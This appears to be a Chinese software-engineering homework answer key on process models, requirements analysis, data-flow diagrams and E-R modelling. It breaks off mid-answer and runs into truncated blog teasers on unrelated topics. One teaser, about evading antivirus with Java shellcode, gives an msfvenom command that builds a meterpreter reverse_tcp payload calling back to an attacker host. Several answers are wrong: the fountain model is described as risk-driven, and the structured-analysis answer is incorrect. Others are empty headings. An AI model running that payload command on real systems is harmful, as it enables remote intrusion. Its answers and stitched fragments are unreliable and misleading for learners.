软件工程第一次作业参考答案

题目

名词解释:软件危机、软件、软件工程、软件生命周期、瀑布模型、原型模型、增量模型、喷泉模型、敏捷过程模型。

答案

软件危机:软件危机是指在软件开发过程中所面临的一系列问题和挑战,包括成本超支、进度延误、质量不达标等。

软件:软件是一系列指令和数据的集合,通过计算机硬件来执行特定的功能。

软件工程:软件工程是一门研究与开发高质量软件的学科。它涵盖了软件开发的各个阶段,包括需求分析、设计、编码、测试和维护等。

软件生命周期:软件生命周期是指软件从概念阶段到退役阶段的整个生命周期过程。它包括软件需求分析、设计、编码、测试、部署、运行维护和退役等阶段。

瀑布模型:瀑布模型是一种线性的软件开发方法,它将软件开发过程划分为需求分析、设计、编码、测试和维护等阶段,每个阶段按顺序进行,前一阶段完成后才进入下一阶段。

原型模型:原型模型是一种快速原型开发的方法,它重点关注需求分析和验证。原型模型通过快速开发可用的软件原型,以帮助用户和开发者更好地理解需求和交流。

增量模型:增量模型是一种在短时间内开发出可用且功能有限的软件版本,并在后续的增量中逐步添加新的功能和特性。

喷泉模型:喷泉模型是一种基于风险管理的软件开发模型,它将软件开发看作是对软件开发中不可避免的问题和风险进行管理的过程。喷泉模型采用迭代的开发方法,通过在每个迭代中解决风险来逐步构建最终的软件系统。

敏捷过程模型:敏捷过程模型是一种基于迭代和逐步增量的开发方法,强调团队合作、用户需求变化、频繁交付和持续反馈。敏捷过程模型具有较高的灵活性和适应性,能够快速响应变化的需求,并通过持续反馈来改进软件质量。

题目

下面对软件危机描述错误的是 ( A.软件危机是当前计算机应用迅速普及后出现的问题 B.软件危机是指计算机软件的开发和维护过程中所遇到的一系列严重问题 C.软件危机产生的原因与软件的本质及软件开发人员有很大关系 D.软件危机涉及需求、技术、管理、用户等各方面 (2)软件工程三要素指的是( o A.算法、数据结构、编程思想 C.方法、工具、过程 B.技术、方法、工具 D.模型、方法、工具

答案

A. 软件危机是当前计算机应用迅速普及后出现的问题描述错误。

软件危机并不是在计算机应用迅速普及后才出现的问题,实际上,软件危机早在计算机应用刚开始发展的时候就已经存在了。软件危机是指在软件开发和维护过程中所遇到的一系列严重问题,与软件的本质、软件开发人员以及其他方面的因素都有关。因此,选项A描述是错误的。

题目

软件工程三要素指的是( A.算法、数据结构、编程思想 C.方法、工具、过程 B.技术、方法、工具 D.模型、方法、工具

答案

C. 方法、工具、过程

题目

(3)下面描述正确的是 ( A.软件工程是指软件开发过程 B.软件工程过程是以软件实现为中心,核心是编写程序及测试 C.结构化开发方法和面向对象开发方法都是面向过程的软件开发方法 D.瀑布模型的特点是划分软件开发的各阶段以及明确其任务

答案

D. 瀑布模型的特点是划分软件开发的各阶段以及明确其任务描述正确。

A选项不准确,软件工程不仅限于软件开发过程,还包括需求分析、设计、测试、维护等阶段。B选项过于狭窄,忽略了其他重要的软件工程活动,如需求分析和设计。C选项错误,结构化开发方法和面向对象开发方法并非都是面向过程的软件开发方法,面向对象开发方法是一种基于对象抽象、封装、继承和多态等概念的开发方法。因此,正确答案是D。

题目

软件过程模型包括()。 D.增量模型 C.面向对象模型 A.领域模型B.结构化模型

答案

D. 增量模型和 C. 面向对象模型是正确的。

软件过程模型是指用于组织、管理和开发软件的一种工作流程。其中的增量模型和面向对象模型都是常见的软件过程模型。领域模型不是一种软件过程模型,而是用于表示和分析特定领域的概念和关系的模型。结构化模型也不是一种软件过程模型,而是一种软件设计方法论。

所以选项 A. 领域模型和 B. 结构化模型是描述错误的。

题目

从软件过程模型的过程上看?阶段对软件系统的影响最大。D.维护 C.编码及测试 A.需求分析B.设计

答案

A. 需求分析阶段对软件系统的影响最大。

在软件过程模型中,不同阶段有不同的任务和目标,但从对软件系统的影响程度来看,需求分析阶段扮演着关键的角色。在需求分析阶段,确定和理解用户需求和系统需求,为后续的开发、设计和测试提供基础。需求分析的质量和准确性对整个软件开发过程的成功与否都起着决定性的作用。

其他选项中,设计阶段(B.设计)对软件系统也具有重要的影响,它涉及到软件系统的整体架构和模块设计,决定了软件系统的结构和功能,但需求分析阶段的准确性对设计的决策非常重要。

编码及测试阶段(C.编码及测试)负责将设计的概念转化为实际的代码,并进行测试和调试。虽然编码和测试是关键的开发活动,但其质量和成功与否往往直接受制于需求分析和设计的准确性和质量。

维护阶段(D.维护)涉及对软件系统的修复、优化和更新,虽然它与软件系统的使用和维护有关,但并不像需求分析和设计阶段那样直接对软件系统的影响最大。

题目

“软件就是程序,软件开发就是编程”这种观点正确吗?为什么?

答案

这种观点并不完全正确。

软件开发不仅仅是编程的过程。包括需求分析、设计、编码、测试、部署和维护等。编程是将设计好的软件模块转化为计算机可执行的指令的过程,但首先需要进行需求分析和系统设计来确定软件要解决的问题、功能和架构等。软件开发不仅仅局限于编程,而是一个涵盖多个阶段和活动的综合过程,其中编程只是其中的一部分。

题目

目前软件维护的费用居高不下,结合自己的经验和认识,谈谈维护的困难在哪里? 结合软件的开发过程,说明能够克服哪些困难以及如何克服?

答案

维护的困难主要体现在以下几个方面:

  1. 理解和修改:维护人员需要理解并修改原有的代码,但往往面临着代码可读性差、文档缺失或不准确等问题。
  2. 资源限制:维护过程中可能会涉及到多个代码库、多个团队和多个版本
  3. 变化管理:软件系统经常面临需求变更、新功能添加和技术更新等变化

为了克服这些困难,以下方法可以被采用:

  1. 注重编写高质量的、可读性强的代码,并撰写详尽的文档,使维护人员更容易理解和修改代码。
  2. 引入版本控制系统
  3. 执行全面测试
  4. 持续学习和培训
  5. 建立知识管理系统,记录软件的各个方面,包括设计决策、问题解决方案和业务规则等,以便维护人员能够快速访问所需的信息。

题目

软件生命周期各阶段的任务是什么?各阶段之间如何接以完成软件的开发 过程?

答案

软件生命周期通常包含以下几个阶段,每个阶段都有其特定的任务和目标:

  1. 需求分析阶段:

    • 确认和理解用户需求、问题和目标。
    • 制定软件系统需求规格说明书。
    • 确定软件系统的功能和约束。
  2. 设计阶段:

    • 定义软件系统的整体结构和组件。
    • 设计软件系统的架构、模块、接口和数据库设计。
    • 考虑软件系统的性能、可靠性、安全性等方面。
  3. 编码阶段:

    • 将设计好的软件模块转化为代码。
    • 编写单元测试用例并执行进行调试。
  4. 测试阶段:

    • 验证和验证软件系统的正确性和功能性。
    • 跟踪和修复测试中发现的问题。
  5. 部署阶段:

    • 准备软件系统的发布版本。
    • 安装和配置软件系统的硬件和软件环境。
    • 配置系统以适应用户需求和要求。
  6. 维护阶段:

    • 收集和分析用户反馈和需求变更。
    • 修复错误和故障。
    • 进行性能优化和功能扩展。

这些阶段之间的接续通常是循序渐进的。需求分析阶段为设计阶段提供基础,设计阶段的输出指导编码阶段,编码阶段生成代码供测试阶段使用。测试阶段中发现的问题将反馈到设计和编码阶段进行修复。部署阶段将实现的软件系统部署到目标环境中,维护阶段在软件使用阶段持续进行,以满足用户的需求和维护软件系统的稳定性和可用性。这些阶段之间的协调和沟通是确保软件开发过程顺利、高质量完成的关键。

题目

什么是软件过程?有哪些主要的软件过程模型?它们各有哪些优缺点?

答案

软件过程指的是软件开发过程中的一系列活动和任务,涵盖了需求分析、设计、编码、测试、部署和维护等阶段,以及相应的管理和控制活动。

以下是一些常见的软件过程模型:

  1. 瀑布模型:

    • 顺序执行,每个阶段的输出作为下一个阶段的输入。
    • 有明确定义的阶段和文档,适用于需求稳定、规模可预测的项目。
    • 缺点是刚性和缺乏灵活性,迭代和变更不易处理。
  2. 增量模型:

    • 将软件系统拆分为多个可交付的增量部分,每个增量都包含完整的开发过程。
    • 提供了快速反馈和早期交付的机会。
    • 缺点是需求不完整时难以应用,每个增量之间的集成可能存在问题。
  3. 喷泉模型:

    • 强调软件不断演化和持续更新。
    • 每个阶段可以根据需求变更而重复执行。
    • 缺点是管理和控制复杂度高,对团队要求较高。
  4. 迭代模型:

    • 将软件开发划分为一系列迭代周期,每个迭代包括需求分析、设计、开发和测试等活动。
    • 可以快速响应需求变更和提供早期交付。
    • 缺点是需求变更可能导致每个迭代的工作范围不断扩大。
  5. 敏捷模型(如Scrum、Kanban等):

    • 强调团队协作、快速迭代和持续反馈。
    • 将需求分解为小的用户故事,并以迭代方式交付软件。
    • 适合于快速变化的需求和高度自组织的团队。
    • 缺点是可能在规模较大的项目中缺乏规范性和整体的设计。

题目

某公司拟开发一个在 线共享的文本文件编辑系统, 一个内部通用文本文件。该 系统功能主要包括对文本的新 建、编辑、保存以及显示当前 文本的编辑人员。请根据上达 述问题描述,选择合适的软件天 开发过程模型,并简述理由。

答案

我建议选择敏捷开发模型中的Scrum模型。

Scrum模型是一种迭代和增量的敏捷方法,适用于快速变化的需求和需要团队协作的项目。以下是选择Scrum模型的一些理由:

  1. 需求变化频繁:由于在线共享文本文件编辑系统的特性,需求可能会在开发过程中频繁变化。Scrum模型的迭代周期可以满足快速响应需求变更的需求。
  2. 增量交付:Scrum模型通过迭代的方式,每个迭代交付一个增量的可用产品。对于该系统,可以首先实现最基本的功能,然后逐步增加其他功能,确保每个迭代都能交付具有商业价值的解决方案。
  3. 团队协作:Scrum强调团队协作和自组织,对于开发一个通用的文本文件编辑系统,团队的合作和沟通非常重要,Scrum的开发方法可以促进团队成员之间的协作与沟通。
  4. 快速反馈和持续改进:Scrum模型鼓励团队及时收集反馈,并及时进行调整和改进。这对于确保系统的功能和性能得到持续优化非常重要。

题目

今天你去参加某公司 的面试,项目经理给你一份程 序源代码,要求你找出其中的 Bug,并评价该程序代码。你 你将如何回答这一问题?

答案

  1. 程序分析:我会先仔细阅读给定的程序源代码,理解其功能和逻辑。我会检查代码是否有明显的语法错误、逻辑错误、命名规范等问题。
  2. 缺陷识别:我会运行代码,并使用调试工具逐步追踪代码的执行过程,以发现潜在的缺陷。同时,我还会检查代码中是否有潜在的边界条件、异常处理和安全性问题。
  3. Bug分析和修复:如果我发现了Bug,我会详细描述问题所在,包括出现的情况、导致Bug的原因和可能的解决方案。我可以提供代码片段来说明问题,并尽可能给出修复建议。
  4. 代码评价:除了找出Bug,我还可以评价给定的程序代码。我会关注代码的可读性、可维护性、性能优化和代码结构等方面。我可以提供反馈,指出代码中的改进点和最佳实践,以提高代码质量和可靠性。

题目

名词解释:可行性分析、需求获取、数据流图、状态转换图、数据字典、E-R 模型

答案

  • 可行性分析:可行性分析是在项目初期对潜在项目或解决方案进行评估的过程。它包括经济、技术和操作可行性等方面的评估,以确定项目或解决方案的可行性和可实施性。
  • 需求获取:需求获取是在软件开发过程中收集、理解和记录用户需求的过程。它涉及与利益相关者沟通、访谈、观察和文档分析等方法,以确保开发团队对系统的需求有准确的理解。
  • 数据流图:数据流图(Data Flow Diagram,简称DFD)是软件工程中一种图形化工具,可用于描述系统内数据的流动和处理过程。数据流图以图形方式展示了数据的源头、流向和处理过程,有助于理解系统的功能和交互方式。
  • 状态转换图:状态转换图(State Transition Diagram)是一种描述系统或对象在不同状态之间转换的图形化工具。它由状态、事件和转换组成,表示在响应特定事件时对象所处的状态转变。
  • 数据字典:数据字典是一个对系统中使用的所有数据元素进行描述的文档或数据库。它包括了数据的定义、结构、类型、关系和相关的业务规则,用于确保对数据的一致性理解和正确使用。
  • E-R模型:E-R模型(实体-关系模型)是一种用于描述系统中数据实体、实体之间关系和属性的概念模型。它使用实体、关系和属性之间的图形化表示来描绘现实世界中的事物和事物之间的联系,是数据库设计和分析的重要工具。

题目

软件需求工程的任务是 ( A.给出软件系统的设计方案 B.对用户需求进行可行性分析 C.回答软件系统“必须做什么”的问题 D明确用户问题

答案

C. 回答软件系统“必须做什么”的问题

软件需求工程的任务是通过与利益相关者的沟通、需求获取和分析等方法,准确、完整地定义软件系统的需求。这包括对用户需求进行理解和分析,并将其转化为具体的功能和性能需求的过程。软件需求工程的目标是明确软件系统需要实现的功能和特性,以满足用户的需求和期望。因此,选择C选项,即回答软件系统“必须做什么”的问题,准确地描述了软件需求工程的任务。

题目

结构化需求分析并建立( A.数据模型、功能模型、行为模型 B.E-R模型、DFD模型、数据字典 C.静态模型、动态模型、用例模型D.E-R模型、DFD模型、PDL

答案

C. 静态模型、动态模型、用例模型

结构化需求分析是指对软件需求进行分析和建模的过程。在这个过程中,常用的建模工具有静态模型、动态模型和用例模型。

  • 静态模型主要关注系统的静态结构,使用工具如E-R模型 (Entity-Relationship Model)来描述系统中的实体、实体间的关系以及属性等。
  • 动态模型关注系统的行为和交互,使用工具如状态转换图 (State Transition Diagram)来描述系统在不同状态之间的转换,以及事件和行为之间的关系。
  • 用例模型是一种描述系统功能的模型,使用工具如用例图 (Use Case Diagram)来表示系统的各种功能或用户使用案例,它描述了系统如何与用户进行交互并提供所需的功能。

因此,选项C中的静态模型、动态模型和用例模型是结构化需求分析过程中常用的建模工具。

题目

E-R 模型包括()等组成部分。 A.实体、属性、关系 B.实体、属性、消息 C.实体、控制、消息 D.类、对象、关系

答案

A. 实体、属性、关系

E-R(实体-关系)模型由实体(Entity)、属性(Attribute)和关系(Relationship)等组成部分构成。这种模型用于描述现实世界中各种事物(实体)之间的关系,以及这些实体的属性。在E-R模型中,实体代表事物或对象,属性表示实体的特征或属性,而关系描述实体之间的联系和相互作用。因此,选项A中的实体、属性和关系是E-R模型的组成部分。

题目

在DFD图的图形元素中,不受系统控制的元素是 ()。 A.数据加工 B.外部实体 C.数据流 D.数据存储

答案

B. 外部实体

在DFD图(数据流图)中,外部实体指代与系统交互的外部参与者或外部系统。它们表示系统之外的实体,不受系统控制,可以是人、其他软件系统或设备等。外部实体在DFD图中作为输入或输出数据流的起点或终点,与系统进行数据的交互。因此,选项B中的外部实体是不受系统控制的元素。数据加工、数据流和数据存储可以是系统内部的元素,受系统控制,用于数据的处理、传输和存储。

题目

对大型复杂软件系统采用分解的方法进行需求分析,完成(。 A.自顶向下的系统分解过程 B自底向上的系统分解过程 C.先易后难的系统分解过程 D.综合处理的系统分解过程

答案

A. 自顶向下的系统分解过程

对大型复杂软件系统进行需求分析时,通常采用自顶向下的系统分解过程。这种方法从系统的整体开始,将系统分解成更小的模块或子系统,然后进一步分解为更小的单元。这个过程一直持续下去,直到每个单元被详细定义和描述。自顶向下的分解过程有助于确保系统需求的完整性和一致性,并帮助理解系统的整体结构和功能。

自顶向下的系统分解过程通常涉及以下步骤:

  1. 确定系统的整体目标和范围。
  2. 将系统分解成更小的模块或子系统。
  3. 对每个模块或子系统进行进一步分解,直到每个单元的功能和接口明确。
  4. 逐级深入详细描述每个单元。

因此,选项A中的自顶向下的系统分解过程是对大型复杂软件系统进行需求分析时常用的方法。

题目

简述需求分析的任务和内容。

答案

  1. 需求收集:通过与用户、利益相关者和其他相关方进行沟通和交流,收集用户需求、业务需求和系统需求。这可以通过面对面的访谈、问卷调查、观察和文档分析等方式进行。
  2. 需求定义和建模:将收集到的需求进行整理、分类和组织,并对其进行描述、分解和建模,以便更好地理解和表达需求。常用的需求建模技术包括用例图、活动图、状态图和数据流图等。
  3. 需求验证和确认:验证需求的准确性、一致性、可行性和完整性。这可以通过与用户和利益相关者进行进一步的协商和讨论,以及使用验证技术(如原型、模拟和验收测试)来确保需求符合实际情况。
  4. 需求管理:对需求进行版本管理、变更控制和跟踪,确保需求的稳定性和一致性。需求管理还涉及对需求的优先级排序、需求跟踪矩阵的创建以及与其他软件开发阶段(如设计、测试和部署)的协调。
  5. 需求文档编写:将收集、定义、验证和管理过的需求整合到需求文档中,以便于系统设计和开发人员理解和实现。

题目

.需求工程过程中有哪些活动?有哪些人员参与?他们各自的职责是什么?

答案

在需求工程过程中,涉及以下活动和相关人员的参与:

  1. 需求获取(Requirements Elicitation):

    • 参与人员:需求工程师、业务分析师、项目经理、领域专家、用户代表等。
    • 职责:与用户、利益相关者和其他相关方进行沟通和交流,获取用户需求、业务需求和系统需求。收集、整理并记录需求信息。
  2. 需求分析与建模(Requirements Analysis and Modeling):

    • 参与人员:需求分析师、系统分析师、业务分析师等。
    • 职责:对收集到的需求进行分析,识别和理解需求之间的关系和依赖关系。创建需求模型,如用例图、活动图、状态图、数据流图等,以更好地表达和描述需求。
  3. 需求验证与确认(Requirements Validation and Verification):

    • 参与人员:需求工程师、测试工程师、产品经理、用户代表等。
    • 职责:验证和确认需求的准确性、一致性、可行性和完整性。通过需求评审、原型验证、模拟和验收测试等方式,确保需求与用户的期望和实际情况一致。
  4. 需求管理(Requirements Management):

    • 参与人员:需求工程师、项目经理、变更管理团队等。
    • 职责:对需求进行版本管理、变更控制和跟踪,确保需求的稳定性和一致性。创建和维护需求文档,管理需求之间的关系,并与其他开发阶段的活动进行协调。
  5. 需求沟通与协调(Requirements Communication and Coordination):

    • 参与人员:需求工程师、项目经理、开发团队、用户代表等。
    • 职责:确保需求的有效沟通和理解。促进不同利益相关者之间的共识和协调,解决需求冲突和优先级问题。

除了以上主要活动,还可能涉及其他活动,如需求跟踪、需求评估和优先级排序等。参与人员的具体角色和职责可能有所不同,根据具体项目和组织的情况进行调整和分工。不同角色的职责也可能重叠或交叉,需要密切协作和合作,以确保需求工程活动的顺利进行和成功实施。

题目

什么是结构化需求分析?为什么要进行结构化需求分析?

答案

结构化需求分析是一种系统性的方法,用于对需求进行详细的分析和分类,以识别和建立需求间的关系和依赖。它旨在将复杂的需求问题分解为更小、更具体的子问题,以帮助理解和描述需求,确保需求的准确性、完整性和一致性。

结构化需求分析是为了更好地理解、明确和管理需求,保证软件系统能够满足用户期望并达到预期目标。它有助于确保需求的准确性、一致性和可行性,并为系统设计和开发提供了基础和指导。

题目

顶层数据流图有什么作用?在分解数据流图时,有哪些注意事项

答案

顶层数据流图(Top-Level Data Flow Diagram,简称DFD)是一个高层次的视图,用于显示系统的主要功能和与外部实体的交互。它在需求分析阶段起到了以下几个作用:

  1. 概览系统功能:
  2. 确定系统边界:
  3. 明确数据流:

在分解数据流图时,需要注意以下几点:

  1. 逐级分解:
  2. 保持一致性:
  3. 简化子图:
  4. 标注处理过程:
  5. 确认数据流:

题目

一本书由多章构成,每章有多个小节、一个小结和习题构成,每个小节又有多个 要点。请按照以上描述,给出 E-R 模型的定义。

答案

根据以上描述,可以使用E-R模型(实体-关系模型)来表示这个结构。下面是对各实体及其关系的定义:

  • 实体(Entities):

    • 书(Book):具有属性如书名、作者、出版日期等。
    • 章(Chapter):具有属性如标题、编号等。
    • 小节(Section):具有属性如标题、编号等。
    • 小结(Summary):具有属性如内容、页码等。
    • 习题(Exercise):具有属性如问题、答案等。
    • 要点(Key Point):具有属性如描述、标题等。
  • 关系(Relationships):

    • 书-章(Book-Chapter):表示书与章之间的关系。一本书可以有多个章节,一个章节只属于一本书。这是一个一对多(One-to-Many)关系。
    • 章-小节(Chapter-Section):表示章与小节之间的关系。一个章节可以有多个小节,一个小节只属于一个章节。这也是一个一对多(One-to-Many)关系。
    • 章-小结(Chapter-Summary):表示章与小结之间的关系。一个章节可以有一个小结,一个小结属于一个章节。这是一个一对一(One-to-One)关系。
    • 章-习题(Chapter-Exercise):表示章与习题之间的关系。一个章节可以有多个习题,一个习题只属于一个章节。这是一个一对多(One-to-Many)关系。
    • 小节-要点(Section-Key Point):表示小节与要点之间的关系。一个小节可以有多个要点,一个要点只属于一个小节。这也是一个一对多(One-to-Many)关系。

通过E-R模型的定义和这些实体之间的关系,可以更好地理解书籍结构的组织方式。这个模型可以提供一个清晰的结构框架,以便更好地管理和组织书籍的内容。

题目

新冠疫情期间对“在线视频会议系统”的需求激增。现某软件公司拟开一个与 之类似的视频系统,该系统提供在线语音、在线视频、文字等交互功能,并能根据参会 人员权限,进行视频录制。根据上述对系统问题的初步描述,公司指定你组织一次获取 系统需求的会议。请给出将要通知参会的人员类型、拟采用的需求获取方法及相关内容。

答案

通知参会的人员类型:

  1. 公司项目团队成员:包括软件开发人员、设计人员、测试人员等相关岗位成员
  2. 业务分析师:负责分析业务需求,将用户需求转化为系统需求。
  3. 用户代表

拟采用的需求获取方法及相关内容:

  1. 召开需求讨论会议:
  2. 面对面用户访谈
  3. 用户调查问卷
  4. 参考现有在线视频会议系统
  5. 观察和分析相关行业需求

题目

下面一段内容是某个在线票务销售系统的部分需求描述,请找出其中的需求描 述不一致的内容、遗漏的内容,以及你认为还需补充的内容。 “在线票务销售系统能够通过公司网站出售各类演出门票。用户在选择所需的演出门 票、信用卡、身份证后,系统即可自动出票,门票费将自动从信用卡上扣除。当用户选 择“开始购票”后,系统关于票务的基本信息显示在页面上,同时让用户选择相关的信 息。一旦用户确定购票,系统提示用户输入信用卡信息,之后系统验证信用卡的有效性. 再提示用户输入身份证号。当验证信用卡有效后,系统自动出票,并提示扣款成功。”

答案

需求描述不一致的内容:

  • 在第一段中,描述了用户选择所需的演出门票、信用卡和身份证后即可自动出票和扣款。然而,在最后一段中,提到了用户需要输入信用卡信息并验证有效性后才能出票。

遗漏的内容:

  • 没有提及如何处理退票的情况

还需补充的内容:

  • 用户身份验证
  • 错误处理和反馈
  • 用户权益,安全性措施
  • 电子票务和凭证

题目

某高校拟开发校运会比赛项目成绩处理系统。比赛成绩按以下方式处理:根据系统员录入各参赛项目裁判员送来的运动员比赛成绩。对运动员文件和比赛项目文件比赛项目进行排序,并把排序结果打印报送至大会秘书处。比赛成绩单中的成绩,按照根据以上描述,回答下面问题。 (1)给出问题分析过程,识别数据和变换过程; (2)画出至少包含两层的数据流图。

答案

(1) 问题分析过程和数据/变换过程识别:

  • 根据问题描述,可以识别以下数据/变换过程:

    • 数据:

      • 运动员文件:包含运动员的相关信息和比赛成绩。
      • 比赛项目文件:包含参赛项目的相关信息和裁判员送来的比赛成绩。
      • 排序结果:按比赛成绩对运动员和比赛项目进行排序后的结果。
      • 比赛成绩单:包含排序后的成绩信息。
    • 变换过程:

      • 运动员文件和比赛项目文件的处理:录入系统员根据裁判员送来的比赛成绩,将运动员文件和比赛项目文件进行处理,包括存储和管理相关数据。
      • 排序处理:对运动员和比赛项目进行排序,以确定排名和结果。
      • 打印报送:将排序结果打印出来,并报送至大会秘书处。

(2) 数据流图:

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1、在文件夹中创建新的文件夹 目录&#xff1a; App 文件夹&#xff1a;用于存放外设驱动文件&#xff0c;如 LED、数码管、定时器等。 Obj 文件夹&#xff1a;用于存放编译产生的 c/汇编/链接的列表清单、调试信息、 hex 文件、预览信息、封装库等文件。 Public 文件夹&#x…

蓝桥杯 题库 简单 每日十题 day3

01 约数个数 题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 1200000 有多少个约数&#xff08;只计算正约数&#xff09;。 解题思路 枚举&#xff0c;从1开始一直到1200000本身都作为1200000的除数&#xff0c;…

Spring 6.0 新特性

文章目录 Spring的发展历史AOTGraalVMSpringBoot实战AOTRuntimeHints案例分析RuntimeHintsRegistrar SpringBoot中AOT核心代码 Spring的发展历史 AOT Spring 6.0的新特性Ahead of Time&#xff08;AOT&#xff09;编译是一种技术&#xff0c;可以提前将Spring应用程序编译成原…

JWT安全及案例实战

文章目录 JWT 安全1. Cookie2. Session3. Token4. JWT4.1 JWT概述4.1.1 JWT头4.1.2 有效载荷4.1.3 签名哈希4.1.4 通信流程 4.2 JWT 漏洞描述4.3 JWT 漏洞原理4.4 JWT 安全防御 5. WebGoat 靶场实验5.1 第四关5.2 第五关5.3 第七关 越权与逻辑漏洞 Web漏洞点只有一个入口&#…

Direct3D融合技术

该技术能使我们将当前要进行光栅化的像素的颜色与先前已已光栅化并处于同一位置的像素的颜色进行合成&#xff0c;即将正在处理的图元颜色值与存储在后台缓存中的像素颜色值进行合成(混合)&#xff0c;利用该技术我们可得到各种各样的效果&#xff0c;尤其是透明效果。 在融合…

云渲染是怎么做到不排队的

云渲染排队严重影响了用户的使用体验&#xff0c;还会导致用户的流失&#xff0c;因此解决渲染不排队的问题对于云渲染平台来说是非常重要的。而作为云渲染平台&#xff0c;自己的机器基本都是固定的&#xff0c;哪如何解决用户渲染排队的问题呢&#xff1f;我们一起来看看全国…

天地图绘制区域图层

背景&#xff1a; 业务方要求将 原效果图 参考效果图 最终实现效果 变更点&#xff1a; 1.将原有的高德地图改为天地图 2.呈现形式修改&#xff1a;加两层遮罩&#xff1a;半透明遮罩层mask区域覆盖物mask 实现过程&#xff1a; 1.更换地图引入源 <link rel"style…

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…

网络安全第一次作业

1、什么是防火墙 防火墙是一种网络安全系统&#xff0c;它根据预先确定的安全规则监视和控制传入和传出的网络流量。其主要目的是阻止对计算机或网络的未经授权的访问&#xff0c;同时允许合法通信通过。 防火墙可以在硬件、软件或两者的组合中实现&#xff0c;并且可以配置为根…

西部数据硬盘查询

保修状态 | WD 支持 保修状态 | WD 支持 https://support-cn.wd.com/app/warrantystatusweb https://support-cn.wd.com/app/warrantystatusweb 选择大陆

【C++】STL—— unordered_map的介绍和使用、 unordered_map的构造函数和迭代器、 unordered_map的增删查改函数

文章目录 1. unordered_map的介绍2. unordered_map的使用2.1unordered_map的构造函数2.2unordered_map的迭代器2.3unordered_map的容量和访问函数2.4unordered_map的增删查改函数 1. unordered_map的介绍 unordered_map的介绍 &#xff08;1&#xff09;unordered_map是存储&l…

Vue路由与node.js环境搭建

目录 前言 一.Vue路由 1.什么是spa 1.1简介 1.2 spa的特点 1.3 spa的优势以及未来的挑战 2.路由的使用 2.1 导入JS依赖 2.2 定义两个组件 2.3 定义组件与路径对应关系 2.4 通过路由关系获取路由对象 2.5 将对象挂载到vue实例中 2.6 定义触发路由事件的按钮 2.7 定…

JavaScript小案例-tab栏切换(可移除item)

gif效果图&#xff1a; 代码&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>tab栏切…